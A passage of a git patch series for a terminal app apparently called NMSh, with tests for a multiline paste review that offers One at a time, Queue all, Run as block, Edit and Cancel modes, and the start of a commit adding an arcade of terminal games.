next step until it closes', async () => { + const f = fixture([nmsh('/view README.md'), nmsh('/theme')]); + f.sequence.poke(); + await f.settle(); + assert.deepEqual(f.log, ['nmsh:/view README.md']); + assert.equal(f.state.modal, true); + f.sequence.poke(); + await f.settle(); + assert.deepEqual(f.log, ['nmsh:/view README.md'], '/theme waits while the viewer is open'); + f.state.modal = false; + f.sequence.poke(); + await f.settle(); + assert.deepEqual(f.log, ['nmsh:/view README.md', 'nmsh:/theme']); +}); + +test('Queue all: Esc stops what has not started; an NMSh command already running is left to finish', async () => { + const f = fixture([shell('ls'), nmsh('/modules'), shell('pwd')]); + f.state.draft = false; + f.sequence.poke(); + f.sequence.stop(); + assert.equal(f.sequence.active, true, 'the queued command is still running: the sequence ends when it does'); + f.drain(); + f.sequence.poke(); + assert.equal(f.sequence.active, false); + assert.deepEqual(f.log, ['shell:ls'], 'the rest never started'); + assert.match(f.said.join(' '), /2 commands after it were not run/u); + + const running = fixture([nmsh('/a'), nmsh('/b')]); + running.state.holdNmsh = true; + running.sequence.poke(); + running.sequence.stop(); + running.state.nmsh!.resolve(); + await running.settle(); + assert.deepEqual(running.log, ['nmsh:/a']); + assert.equal(running.sequence.active, false); +}); + +test('Queue all: an NMSh command that throws stops the sequence', async () => { + const f = fixture([nmsh('/a'), nmsh('/b')]); + f.state.holdNmsh = true; + f.sequence.poke(); + f.state.nmsh!.reject(new Error('boom')); + await f.settle(); + assert.equal(f.sequence.active, false); + assert.deepEqual(f.log, ['nmsh:/a']); + assert.match(f.said.join(' '), /That command failed/u); +}); + +test('Queue all: a full queue waits instead of partially queueing; a paused queue still takes the commands, which wait for /queue', () => { + const full = fixture([shell('a'), shell('b')], {free: 1}); + full.sequence.poke(); + assert.deepEqual(full.log, [], 'two do not fit in one place: nothing is queued'); + full.state.free = 5; + full.sequence.poke(); + assert.deepEqual(full.log, ['shell:a', 'shell:b']); + + const paused = fixture([shell('a'), nmsh('/modules')]); + paused.state.paused = true; + paused.sequence.poke(); + assert.deepEqual(paused.log, ['shell:a'], 'the command waits in the paused queue'); + paused.sequence.poke(); + assert.equal(paused.sequence.active, false); + assert.match(paused.said.join(' '), /The queue paused/u); +}); + +test('Queue all: the status strip counts started commands and says how to stop', () => { + const f = fixture([shell('a'), nmsh('/modules'), shell('b')]); + f.sequence.poke(); + assert.equal(f.sequence.statusLine(), 'Queue all · 1 of 3 · Esc stops'); +}); diff --git a/tests/pasteBatchApp.test.ts b/tests/pasteBatchApp.test.ts index 951965b5..c2d74ebe 100644 --- a/tests/pasteBatchApp.test.ts +++ b/tests/pasteBatchApp.test.ts @@ -39,7 +39,7 @@ test('a reviewed batch lists the commands the shell would run; nothing is queued assert.equal(createBatchReview('echo "never closed\nls', 'bash', 100), undefined, 'ambiguous syntax stays one block of text'); }); -test('remove, reorder and select act on the reviewed list only; Enter and Q queue, Esc/T/E never queue', () => { +test('remove, reorder and select act on the reviewed list only; Enter confirms the chosen mode, Esc/T/E never queue', () => { const review = createBatchReview(SEQUENCE, 'bash', 100)!; const key = (value: Key) => batchReviewKey(review, value, 26); key({kind: 'down'}); @@ -54,9 +54,12 @@ test('remove, reorder and select act on the reviewed list only; Enter and Q queu assert.equal(key(text('e'))?.kind, 'edit'); assert.equal(key({kind: 'escape'})?.kind, 'back'); assert.equal(key({kind: 'interrupt'})?.kind, 'cancel'); + assert.equal(key({kind: 'enter'})?.kind, 'steps', 'the default mode is One at a time'); + assert.equal(key(text('q')), undefined, 'q only selects Queue all'); assert.equal(key({kind: 'enter'})?.kind, 'queue'); review.capacity = 2; - assert.equal(key({kind: 'enter'}), undefined, 'more commands than the queue has room for: no partial queueing'); + assert.notEqual(key({kind: 'enter'})?.kind, 'queue', 'more commands than the queue has room for: no partial queueing'); + assert.equal(review.choice, 'steps', 'the strip shows the fallback, and Enter does what it shows'); }); test('the review fits narrow windows and shows every selected command in full, safely', () => { @@ -69,7 +72,7 @@ test('the review fits narrow windows and shows every selected command in full, s assert.ok(!renderBatchReview(review, 80, 20).join('\n').includes('\u001b[2J')); }); -test('pasting a multi-command block offers B; Enter on the review queues exactly the reviewed commands, in order, once', async () => { +test('pasting a multi-command block offers B; Enter on Queue all queues exactly the reviewed commands, in order, once', async () => { const instance = app(); try { instance['handleKey']({kind: 'paste', value: SEQUENCE}); @@ -80,6 +83,8 @@ test('pasting a multi-command block offers B; Enter on the review queues exactly assert.ok(instance['batchReview']); assert.deepEqual(queued(instance), [], 'reviewing alone queues nothing'); instance['handleKey'](text('x')); + instance['handleKey'](text('q')); + assert.deepEqual(queued(instance), [], 'choosing Queue all queues nothing until Enter'); instance['handleKey']({kind: 'enter'}); assert.equal(instance['batchReview'], undefined); assert.equal(instance['pastePreview'], undefined); diff --git a/tests/pasteBatchChoice.test.ts b/tests/pasteBatchChoice.test.ts index 9b7b4bdd..f2088383 100644 --- a/tests/pasteBatchChoice.test.ts +++ b/tests/pasteBatchChoice.test.ts @@ -36,141 +36,115 @@ function dispose(instance: TerminalApp) { const queued = (instance: TerminalApp) => instance['queueState'].entries.map(entry => entry.text); -test('multiline paste choices: default valid state offers block, queue, edit, cancel with queue as default', () => { +test('multiline paste modes: a valid shell paste offers One at a time, Queue all, Run as block, Edit, Cancel, defaulting to One at a time', () => { const review = createBatchReview('echo first\necho second\necho third', 'bash', 10)!; - assert.equal(review.choice, 'queue'); + assert.equal(review.choice, 'steps', 'nothing executes by default: the conservative mode is one command at a time'); assert.equal(review.verifiedCount, 3); assert.equal(review.refusal, undefined); - const choices = batchAvailableChoices(review); - assert.deepEqual(choices, ['block', 'queue', 'edit', 'cancel']); + assert.deepEqual(batchAvailableChoices(review), ['steps', 'queue', 'block', 'edit', 'cancel']); }); -test('choice navigation: Tab, BackTab, Left, Right and 1-4 update focus only, never executing anything', () => { +test('mode navigation: Tab, BackTab, Left, Right, digits and letters update the mode only, never executing anything', () => { const review = createBatchReview('echo a\necho b', 'bash', 10)!; + assert.equal(review.choice, 'steps'); - // Initial choice is queue - assert.equal(review.choice, 'queue'); - - // Tab (complete) moves to edit - assert.equal(batchReviewKey(review, {kind: 'complete'}, 20), undefined); - assert.equal(review.choice, 'edit'); - - // Tab (complete) moves to cancel - assert.equal(batchReviewKey(review, {kind: 'complete'}, 20), undefined); - assert.equal(review.choice, 'cancel'); - - // Tab (complete) wraps to block - assert.equal(batchReviewKey(review, {kind: 'complete'}, 20), undefined); - assert.equal(review.choice, 'block'); - - // Shift+Tab (focusPrevious) moves back to cancel + // Tab (complete) walks the strip in the order it is drawn, and wraps. + const walk = ['queue', 'block', 'edit', 'cancel', 'steps']; + for (const expected of walk) { + assert.equal(batchReviewKey(review, {kind: 'complete'}, 20), undefined); + assert.equal(review.choice, expected); + } assert.equal(batchReviewKey(review, {kind: 'focusPrevious'}, 20), undefined); assert.equal(review.choice, 'cancel'); - - // Left moves to edit assert.equal(batchReviewKey(review, {kind: 'left'}, 20), undefined); assert.equal(review.choice, 'edit'); - - // Right moves to cancel assert.equal(batchReviewKey(review, {kind: 'right'}, 20), undefined); assert.equal(review.choice, 'cancel'); - // Direct numbers 1-4 - assert.equal(batchReviewKey(review, text('1'), 20), undefined); - assert.equal(review.choice, 'block'); - - assert.equal(batchReviewKey(review, text('2'), 20), undefined); - assert.equal(review.choice, 'queue'); - - assert.equal(batchReviewKey(review, text('3'), 20), undefined); - assert.equal(review.choice, 'edit'); - - assert.equal(batchReviewKey(review, text('4'), 20), undefined); - assert.equal(review.choice, 'cancel'); - - // 'b' focuses block - assert.equal(batchReviewKey(review, text('b'), 20), undefined); - assert.equal(review.choice, 'block'); + // Digits pick the nth mode shown. + for (const [digit, expected] of [['1', 'steps'], ['2', 'queue'], ['3', 'block'], ['4', 'edit'], ['5', 'cancel']] as const) { + assert.equal(batchReviewKey(review, text(digit), 20), undefined); + assert.equal(review.choice, expected); + } + // Letters pick by name; they select, and only Enter confirms (q used to queue at once). + for (const [letter, expected] of [['b', 'block'], ['q', 'queue'], ['o', 'steps']] as const) { + assert.equal(batchReviewKey(review, text(letter), 20), undefined, `${letter} selects, never runs`); + assert.equal(review.choice, expected); + } }); -test('refusal on unsafe separation: unclosed construct or single command refuses queue and defaults to block', () => { +test('refusal on unsafe separation: only Run as block, Edit and Cancel remain, and Enter alone never runs the block', () => { const review = createBatchReviewWithRefusal('echo "unclosed\necho next', 'bash', 10, 'Unclosed quote in line 1'); - assert.equal(review.choice, 'block'); + assert.equal(review.choice, 'edit', 'the default does not execute'); assert.equal(review.refusal, 'Unclosed quote in line 1'); - // Queue is NOT available among choices - const choices = batchAvailableChoices(review); - assert.deepEqual(choices, ['block', 'edit', 'cancel']); + // One at a time and Queue all need separate commands. + assert.deepEqual(batchAvailableChoices(review), ['block', 'edit', 'cancel']); - // Pressing 2 does NOT select queue - batchReviewKey(review, text('2'), 20); - assert.equal(review.choice, 'block'); + // Pressing 2 picks the second mode shown (Edit), the queue letter picks nothing. + batchReviewKey(review, text('q'), 20); + assert.equal(review.choice, 'edit'); + assert.deepEqual(batchReviewKey(review, {kind: 'enter'}, 20), {kind: 'edit'}); - // Enter on refused state confirms block (1 outer execution) - const action = batchReviewKey(review, {kind: 'enter'}, 20); - assert.deepEqual(action, {kind: 'block'}); + // Run as block is a deliberate choice, then Enter confirms it (1 outer execution). + batchReviewKey(review, text('b'), 20); + assert.deepEqual(batchReviewKey(review, {kind: 'enter'}, 20), {kind: 'block'}); }); -test('execution choices on Enter: block, queue, edit, cancel perform exact actions', () => { +test('execution choices on Enter: steps, queue, block, edit, cancel perform exact actions', () => { const pasteText = 'git fetch\ngit pull --ff-only'; - - // 1. Block - const blockReview = createBatchReview(pasteText, 'bash', 10)!; - batchReviewKey(blockReview, text('1'), 20); - assert.deepEqual(batchReviewKey(blockReview, {kind: 'enter'}, 20), {kind: 'block'}); - - // 2. Queue - const queueReview = createBatchReview(pasteText, 'bash', 10)!; - batchReviewKey(queueReview, text('2'), 20); - assert.deepEqual(batchReviewKey(queueReview, {kind: 'enter'}, 20), {kind: 'queue'}); - - // 3. Edit - const editReview = createBatchReview(pasteText, 'bash', 10)!; - batchReviewKey(editReview, text('3'), 20); - assert.deepEqual(batchReviewKey(editReview, {kind: 'enter'}, 20), {kind: 'edit'}); - - // 4. Cancel - const cancelReview = createBatchReview(pasteText, 'bash', 10)!; - batchReviewKey(cancelReview, text('4'), 20); - assert.deepEqual(batchReviewKey(cancelReview, {kind: 'enter'}, 20), {kind: 'cancel'}); + for (const [digit, kind] of [['1', 'steps'], ['2', 'queue'], ['3', 'block'], ['4', 'edit'], ['5', 'cancel']] as const) { + const review = createBatchReview(pasteText, 'bash', 10)!; + batchReviewKey(review, text(digit), 20); + assert.deepEqual(batchReviewKey(review, {kind: 'enter'}, 20), {kind}, kind); + } + // A queue with no room for the commands does not offer Queue all. + const full = createBatchReview(pasteText, 'bash', 1)!; + assert.deepEqual(batchAvailableChoices(full), ['steps', 'block', 'edit', 'cancel']); + // Neither does a session that cannot queue. + const off = createBatchReview(pasteText, 'bash', 10)!; + off.queueOff = 'Queue all is not offered: queueing is off.'; + assert.deepEqual(batchAvailableChoices(off), ['steps', 'block', 'edit', 'cancel']); }); -test('renderBatchReview shows verified statement count, choice pills, and dynamic Enter control', () => { +test('renderBatchReview draws the shared mode strip, the verified count and the dynamic Enter control, with no bracket selectors', () => { const review = createBatchReview('make build\nmake test', 'bash', 10)!; const rendered = renderBatchReview(review, 80, 24).map(stripAnsi); - // Header has verified statements count assert.ok(rendered[0]!.includes('2 verified statements')); + const strip = rendered.find(row => row.includes('One at a time'))!; + for (const label of ['One at a time', 'Queue all', 'Run as block', 'Edit', 'Cancel']) assert.ok(strip.includes(label), label); + assert.ok(!rendered.some(row => /\[\d? ?(?:One at a time|Run as block|Queue|Edit|Cancel)/u.test(row)), 'no old bracket-style options'); + assert.ok(rendered.some(row => row.includes('Enter') && row.includes('first to the composer'))); - // Contains choices - const choicesRow = rendered.find(row => row.includes('[1 Run as block') || row.includes('[1 Block'))!; - assert.ok(choicesRow.includes('1 Run as block')); - assert.ok(choicesRow.includes('2 Queue separately')); - assert.ok(choicesRow.includes('3 Edit')); - assert.ok(choicesRow.includes('4 Cancel')); - - // Default queue has Enter queue 2 - assert.ok(rendered.some(row => row.includes('Enter') && row.includes('queue 2'))); + review.choice = 'queue'; + const queueRendered = renderBatchReview(review, 80, 24).map(stripAnsi); + assert.ok(queueRendered.some(row => row.includes('Enter') && row.includes('queue all 2'))); - // Switch to block choice review.choice = 'block'; const blockRendered = renderBatchReview(review, 80, 24).map(stripAnsi); assert.ok(blockRendered.some(row => row.includes('Enter') && row.includes('run as block'))); - assert.ok(blockRendered.some(row => row.includes('The shell runs 1 outer execution'))); + assert.match(blockRendered.join(' ').replace(/\s+/gu, ' '), /read a block differently/u, 'the warning about different shells'); - // Switch to edit choice review.choice = 'edit'; - const editRendered = renderBatchReview(review, 80, 24).map(stripAnsi); - assert.ok(editRendered.some(row => row.includes('Enter') && row.includes('edit in composer'))); - - // Switch to cancel choice + assert.ok(renderBatchReview(review, 80, 24).map(stripAnsi).some(row => row.includes('Enter') && row.includes('edit in composer'))); review.choice = 'cancel'; - const cancelRendered = renderBatchReview(review, 80, 24).map(stripAnsi); - assert.ok(cancelRendered.some(row => row.includes('Enter') && row.includes('cancel'))); + assert.ok(renderBatchReview(review, 80, 24).map(stripAnsi).some(row => row.includes('Enter') && row.includes('cancel'))); +}); + +test('renderBatchReview fits narrow windows, and draws the active mode and the selected row without color', () => { + const review = createBatchReview('make build\nmake test\nmake lint', 'bash', 10)!; + for (const columns of [24, 30, 40, 60, 100]) { + for (const height of [10, 16, 24]) { + const rows = renderBatchReview(review, columns, height); + assert.ok(rows.length <= height); + for (const row of rows) assert.ok(displayWidth(stripAnsi(row)) <= columns, `${columns}x${height}: ${stripAnsi(row)}`); + } + } }); -test('app integration: selecting "1 Run as block" submits the whole paste as 1 outer execution without queueing', async () => { +test('app integration: choosing Run as block submits the whole paste as 1 outer execution without queueing', async () => { const instance = app(); try { const paste = 'echo "step1"\necho "step2"'; @@ -181,9 +155,9 @@ test('app integration: selecting "1 Run as block" submits the whole paste as 1 o instance['handleKey'](text('b')); await reviewing(instance); assert.ok(instance['batchReview']); + assert.equal(instance['batchReview'].choice, 'steps', 'the review opens on the conservative mode'); - // Focus 1 (Run as block) - instance['handleKey'](text('1')); + instance['handleKey'](text('b')); assert.equal(instance['batchReview'].choice, 'block'); assert.deepEqual(queued(instance), [], 'nothing queued on focus'); @@ -206,7 +180,7 @@ test('app integration: selecting "1 Run as block" submits the whole paste as 1 o } }); -test('app integration: selecting "3 Edit" places paste in composer and clears review', async () => { +test('app integration: choosing Edit places paste in composer and clears review', async () => { const instance = app(); try { const paste = 'echo line1\necho line2'; @@ -215,11 +189,9 @@ test('app integration: selecting "3 Edit" places paste in composer and clears re await reviewing(instance); assert.ok(instance['batchReview']); - // Select choice 3 (Edit) - instance['handleKey'](text('3')); + instance['handleKey'](text('4')); assert.equal(instance['batchReview'].choice, 'edit'); - // Confirm instance['handleKey']({kind: 'enter'}); assert.equal(instance['batchReview'], undefined); assert.equal(instance['pastePreview'], undefined); @@ -277,7 +249,7 @@ test('removal and reordering in paste review change the confirmed block and edit instance['batchReview'] = review; instance['handleKey']({kind: 'delete'}); instance['handleKey'](text('j')); - instance['handleKey'](text('1')); + instance['handleKey'](text('b')); let submitted = ''; instance['submit'] = async () => { submitted = instance['editor'].text; }; instance['handleKey']({kind: 'enter'}); @@ -285,7 +257,7 @@ test('removal and reordering in paste review change the confirmed block and edit assert.equal(submitted, 'echo THIRD\necho SECOND', 'only the reviewed survivors, in the reviewed order'); instance['editor'].clear(); instance['batchReview'] = review; - instance['handleKey'](text('3')); + instance['handleKey'](text('4')); instance['handleKey']({kind: 'enter'}); assert.equal(instance['editor'].text, 'echo THIRD\necho SECOND'); } finally { dispose(instance); } diff --git a/tests/pasteSlashCommands.test.ts b/tests/pasteSlashCommands.test.ts index 783552e1..5119dbe7 100644 --- a/tests/pasteSlashCommands.test.ts +++ b/tests/pasteSlashCommands.test.ts @@ -47,36 +47,41 @@ function fixture() { return {...frame, submitted, slashes, adds, key, enter, composer, reviewing, pasteAndEnter, screen}; } -test('review: a list with an NMSh command offers one at a time only, never one block or the shell\'s queue', () => { +test('review: a list with an NMSh command offers One at a time and Queue all, never Run as block', () => { for (const source of [A, B]) { const review = createBatchReview(source, 'zsh', 100)!; - assert.deepEqual(batchAvailableChoices(review), ['steps', 'edit', 'cancel'], source); + assert.deepEqual(batchAvailableChoices(review), ['steps', 'queue', 'edit', 'cancel']); assert.equal(review.choice, 'steps'); - for (const shortcut of ['1', 'b', 'q', '2']) { - assert.equal(batchReviewKey(review, {kind: 'text', value: shortcut}, 26), undefined, `${shortcut} does nothing`); - assert.notEqual(review.choice, 'block'); - assert.notEqual(review.choice, 'queue'); + for (const shortcut of ['b', '3']) { + batchReviewKey(review, {kind: 'text', value: shortcut}, 26); + assert.notEqual(review.choice, 'block', `${shortcut} never selects Run as block`); } review.choice = 'steps'; assert.deepEqual(batchReviewKey(review, {kind: 'enter'}, 26), {kind: 'steps'}); + batchReviewKey(review, {kind: 'text', value: 'q'}, 26); + assert.deepEqual(batchReviewKey(review, {kind: 'enter'}, 26), {kind: 'queue'}); } // A slash line inside a heredoc is the heredoc's text (zsh, Bash), not a statement. for (const shell of ['zsh', 'bash'] as const) { const heredoc = createBatchReview('cd /tmp\ncat < entry.text), ['cd /tmp', 'cat < { @@ -205,3 +210,89 @@ test('F02: multi-line shell text is unchanged: a script, a heredoc with a slash assert.deepEqual(f.slashes, ['/track ls']); } finally { f.dispose(); } }); + +test('Queue all: `cd` then `/modules` runs both after one confirmation, in order; the shell never gets the NMSh line', async () => { + const f = fixture(); + try { + await f.pasteAndEnter(B); + await f.reviewing(); + f.key({kind: 'text', value: 'q'}); + assert.deepEqual(f.adds(), [], 'choosing the mode runs nothing'); + f.enter(); await settled(); + assert.equal(f.app['batchReview'], undefined); + assert.deepEqual(f.adds(), ['cd modules/bun-app'], 'the shell command is queued; /modules waits for it'); + assert.deepEqual(f.slashes, []); + assert.match(f.screen(), /Queue all · 1 of 2/u); + f.complete(0); // the prompt: the owner starts the queued command + f.begin('cd modules/bun-app'); + f.complete(0); await settled(); + assert.deepEqual(f.slashes, ['/modules'], 'NMSh dispatches its own command after the shell command succeeded, with no further Enter'); + assert.deepEqual(f.adds(), ['cd modules/bun-app']); + assert.equal(f.app['batchSequence'], undefined, 'finished'); + assert.doesNotMatch(f.screen(), /Queue all ·/u); + } finally { f.dispose(); } +}); + +test('Queue all: four `/track` lines all run in NMSh without a single Enter, and none reaches the shell', async () => { + const f = fixture(); + try { + await f.pasteAndEnter(A); + await f.reviewing(); + f.key({kind: 'text', value: 'q'}); + f.enter(); await settled(); + await settled(); + assert.deepEqual(f.slashes, A.split('\n')); + assert.deepEqual(f.adds(), []); + assert.deepEqual(f.submitted, []); + } finally { f.dispose(); } +}); + +test('Queue all: a failed shell command stops the rest, and Esc stops a waiting sequence', async () => { + const f = fixture(); + try { + await f.pasteAndEnter(B); + await f.reviewing(); + f.key({kind: 'text', value: 'q'}); + f.enter(); await settled(); + f.complete(0); + f.begin('cd modules/bun-app'); + f.complete(1); await settled(); + assert.deepEqual(f.slashes, [], '/modules does not run after a failure'); + assert.equal(f.app['batchSequence'], undefined); + assert.match(f.screen(), /Queue all stopped/u); + } finally { f.dispose(); } +}); + +test('Queue all: Esc at an idle prompt stops a sequence that is waiting, and nothing more runs', async () => { + const f = fixture(); + try { + await f.pasteAndEnter(B); + await f.reviewing(); + f.key({kind: 'text', value: 'q'}); + f.enter(); await settled(); + assert.ok(f.app['batchSequence']); + f.key({kind: 'escape'}); + assert.match(f.screen(), /Queue all will stop when the command/u); + assert.match(f.screen(), /Queue all · 1 of 2 · stopping/u); + f.complete(0); + f.begin('cd modules/bun-app'); + f.complete(0); await settled(); + assert.deepEqual(f.slashes, [], 'stopped: /modules never ran'); + assert.equal(f.app['batchSequence'], undefined); + } finally { f.dispose(); } +}); + +test('Queue all: comment lines before an NMSh command are not sent with it, and it still reaches NMSh', async () => { + const f = fixture(); + try { + const source = '# go to the app\ncd modules/bun-app\n# then look at its modules\n/modules'; + await f.pasteAndEnter(source); + await f.reviewing(); + f.key({kind: 'text', value: 'q'}); + f.enter(); await settled(); + f.complete(0); + f.begin('cd modules/bun-app'); + f.complete(0); await settled(); + assert.deepEqual(f.slashes, ['/modules'], 'the comment is dropped from the NMSh command, never left to turn it into shell text'); + } finally { f.dispose(); } +}); From 87fbf7df7ef49beeb8872843c36bc1a8ae4d73b3 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:29:08 +0530 Subject: [PATCH 108/157] Arcade kernel: /games, /game and /arcade hub, game contract, canvas, fixed-step loop, effects, palette and local score store One command parser for the three names; one session that owns keys and frames only while open, refuses to open over a running command, closes if a command starts, and releases its clock. Games plug in through GameDefinition; the five slots hold placeholders until their modules land. --- src/app/TerminalApp.ts | 100 +++++++- src/arcade/ArcadeSession.ts | 386 ++++++++++++++++++++++++++++ src/arcade/Canvas.ts | 414 +++++++++++++++++++++++++++++++ src/arcade/easing.ts | 10 + src/arcade/effects.ts | 161 ++++++++++++ src/arcade/games/dash/index.ts | 7 + src/arcade/games/doku/index.ts | 7 + src/arcade/games/flight/index.ts | 7 + src/arcade/games/placeholder.ts | 30 +++ src/arcade/games/run/index.ts | 7 + src/arcade/games/sudoku/index.ts | 7 + src/arcade/loop.ts | 45 ++++ src/arcade/menu.ts | 50 ++++ src/arcade/palette.ts | 71 ++++++ src/arcade/registry.ts | 24 ++ src/arcade/rng.ts | 65 +++++ src/arcade/scores.ts | 169 +++++++++++++ src/arcade/types.ts | 99 ++++++++ src/commands/slashCommands.ts | 14 +- src/ui/typography.ts | 89 +++++++ tests/arcadeKernel.test.ts | 202 +++++++++++++++ tests/arcadeSession.test.ts | 257 +++++++++++++++++++ 22 files changed, 2219 insertions(+), 2 deletions(-) create mode 100644 src/arcade/ArcadeSession.ts create mode 100644 src/arcade/Canvas.ts create mode 100644 src/arcade/easing.ts create mode 100644 src/arcade/effects.ts create mode 100644 src/arcade/games/dash/index.ts create mode 100644 src/arcade/games/doku/index.ts create mode 100644 src/arcade/games/flight/index.ts create mode 100644 src/arcade/games/placeholder.ts create mode 100644 src/arcade/games/run/index.ts create mode 100644 src/arcade/games/sudoku/index.ts create mode 100644 src/arcade/loop.ts create mode 100644 src/arcade/menu.ts create mode 100644 src/arcade/palette.ts create mode 100644 src/arcade/registry.ts create mode 100644 src/arcade/rng.ts create mode 100644 src/arcade/scores.ts create mode 100644 src/arcade/types.ts create mode 100644 src/ui/typography.ts create mode 100644 tests/arcadeKernel.test.ts create mode 100644 tests/arcadeSession.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 69404058..f6841aad 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -10,6 +10,10 @@ import {routeModule} from '../context/surfaceRouter.js'; import {promptFacts, moduleFactContext, updateFact, factAllowed} from '../context/facts.js'; import {chromaPreviewNote} from '../appearance/chromaNotes.js'; import {presentationClock} from '../motion/PresentationClock.js'; +import {ArcadeSession, type ArcadeEnvironment} from '../arcade/ArcadeSession.js'; +import {ARCADE_GAMES, findGame, gameNames} from '../arcade/registry.js'; +import {ArcadeStore} from '../arcade/scores.js'; +import {freshSeed} from '../arcade/rng.js'; import {EffectState, applyEffect, effectRegion} from '../motion/effects.js'; import {dividerAnimated, MIN_CUSTOM_STOPS, TREATMENT_MOTION_LABELS, treatmentFor, treatmentText, paintDivider, PRESET_STOPS, setActiveThemeStops, TREATMENT_PRESETS, TREATMENT_PRESET_LABELS, treatmentAnimated, treatmentSwatch} from '../chroma/treatment.js'; import {colorLevel} from '../presentation/capabilities.js'; @@ -1339,6 +1343,12 @@ export class TerminalApp { } return; } + if (this.arcade) { + // A command (a queued one, or one from another window) now owns the keyboard: the arcade closes first, so a game never + // takes a password or a reply meant for it. + this.closeArcade(false); + this.output.addFrontendInteraction('/games', 'Closed the arcade: a command started and owns the keyboard. Open it again at the prompt.', INFO); + } this.commandModes.reset(); this.commandLine.reset(); this.inputState = undefined; @@ -1577,6 +1587,7 @@ export class TerminalApp { this.noteActivity(); if (this.externalPassthrough) return; this.renderer.invalidate(); + if (this.arcade) { const size = this.dimensions(); this.arcade.session.resize(size.columns, Math.max(8, size.rows - 4)); } this.lastPtyRows = 0; this.lastPtyColumns = 0; if (this.passthrough) { @@ -1647,6 +1658,7 @@ export class TerminalApp { } if (key.kind === 'focusIn' || key.kind === 'focusOut') { this.terminalFocus = key.kind === 'focusIn' ? 'focused' : 'blurred'; + if (key.kind === 'focusOut') this.arcade?.session.pause(); return; } // Workspace columns: pointer events on a region are the workspace's; center events continue center-relative. @@ -1748,6 +1760,15 @@ export class TerminalApp { this.render(); return; } + if (this.arcade) { + const session = this.arcade.session; + if (key.kind !== 'paste' && key.kind !== 'mouseMove' && key.kind !== 'mouseClick' && key.kind !== 'mouseDrag' && key.kind !== 'mouseRelease' && key.kind !== 'wheelUp' && key.kind !== 'wheelDown') { + if (session.key(key) === 'close') this.closeArcade(); + else this.syncArcadeClock(); + } + this.render(); + return; + } if (this.viewer) { const viewer = this.viewer; const {columns, rows} = this.dimensions(); @@ -3075,6 +3096,7 @@ export class TerminalApp { } else if (slash.kind === 'pins') { this.panelOrigin = undefined; this.openPins(); } else if (slash.kind === 'view') this.openViewer(slash.target, command.trim()); + else if (slash.kind === 'arcade') this.openArcade(slash.game, command.trim()); else if (slash.kind === 'editFile') { if (!slash.target) this.output.addFrontendInteraction(command.trim(), 'Name a file: /edit notes.md. Your own editor and vim, nano or micro still work as usual.', INFO); else this.openTextEditor(slash.target, command.trim()); @@ -3781,6 +3803,77 @@ export class TerminalApp { * /view: a completed output by its /copy number (the latest when no target is given), or a file relative to the * shell's directory. The file is read asynchronously and read-only; a failure is reported in the transcript. */ + // ---- Vespyr Arcade ------------------------------------------------------------------------------------------ + + private arcadeEnvironment(): ArcadeEnvironment { + this.arcadeStore ??= new ArcadeStore({directory: nmshConfigDirectory()}); + return { + store: this.arcadeStore, + now: () => Date.now(), + motion: () => { + const reduced = !this.decorativeMotionAllowed(); + const off = this.promptConfiguration.presentation.effectsOff; + return {reduced, effects: off ? 'off' : reduced ? 'subtle' : this.promptConfiguration.motion.rendering === 'rich' ? 'rich' : 'normal'}; + }, + color: () => colorLevel(), + safeGlyphs: () => getCurrentGlyphMode() === 'safe', + seed: () => freshSeed(), + }; + } + + /** /games, /game and /arcade: the hub, or one game by id or alias. Never while a program owns the terminal. */ + private openArcade(name: string | undefined, command: string): void { + if (this.running || this.passthrough || this.externalPassthrough || this.startupPending) { + this.output.addFrontendInteraction(command, 'The arcade opens at the prompt: let the running command finish first, so its input is never taken by a game.', INFO); + return; + } + const game = name ? findGame(name) : undefined; + if (name && !game) { + this.output.addFrontendInteraction(command, `No game named "${name}". Try /games, or one of: ${gameNames().join(', ')}.`, INFO); + return; + } + this.closeArcade(false); + const {columns, rows} = this.dimensions(); + const session = new ArcadeSession(this.arcadeEnvironment(), ARCADE_GAMES, {columns, rows: Math.max(8, rows - 4)}, game); + this.arcade = {session, interval: 0, floor: 40, last: performance.now()}; + this.syncArcadeClock(); + } + + /** Subscribe to the shared clock exactly while the session wants frames, at the rate it asks for. */ + private syncArcadeClock(): void { + const arcade = this.arcade; + if (!arcade) return; + const wanted = arcade.session.interval; + const floor = arcade.session.floor; + if (arcade.interval === wanted && arcade.floor === floor) return; + arcade.stop?.(); + arcade.stop = undefined; + arcade.interval = wanted; + arcade.floor = floor; + arcade.last = performance.now(); + if (wanted > 0) arcade.stop = presentationClock.subscribe(() => this.tickArcade(), wanted, floor); + } + + private tickArcade(): void { + const arcade = this.arcade; + if (!arcade || this.stopped) return; + const now = performance.now(); + const elapsed = Math.max(0, now - arcade.last); + arcade.last = now; + arcade.session.frame(elapsed); + this.syncArcadeClock(); + this.render(); + } + + private closeArcade(restore = true): void { + const arcade = this.arcade; + if (!arcade) return; + arcade.stop?.(); + this.arcade = undefined; + arcade.session.dispose(); + if (restore) { this.returnFromPanel(); this.render(); } + } + private openViewer(target: string, command: string): void { this.viewerLoad?.abort(); this.viewerLoad = undefined; @@ -5248,7 +5341,7 @@ export class TerminalApp { private get settingsPanelActive(): boolean { return this.hasModalInput(); } private hasModalInput(ignorePalette = false): boolean { - return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.viewer || this.textEditor || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || (!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState + return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.copyPicker || this.summaryReview || this.reportReview || this.comparePanel || this.arcade || this.viewer || this.textEditor || this.background.panel || this.batchReview || this.pinsPanel || this.stripStudio || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || (!ignorePalette && this.paletteState) || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState || this.resumeBrowser || 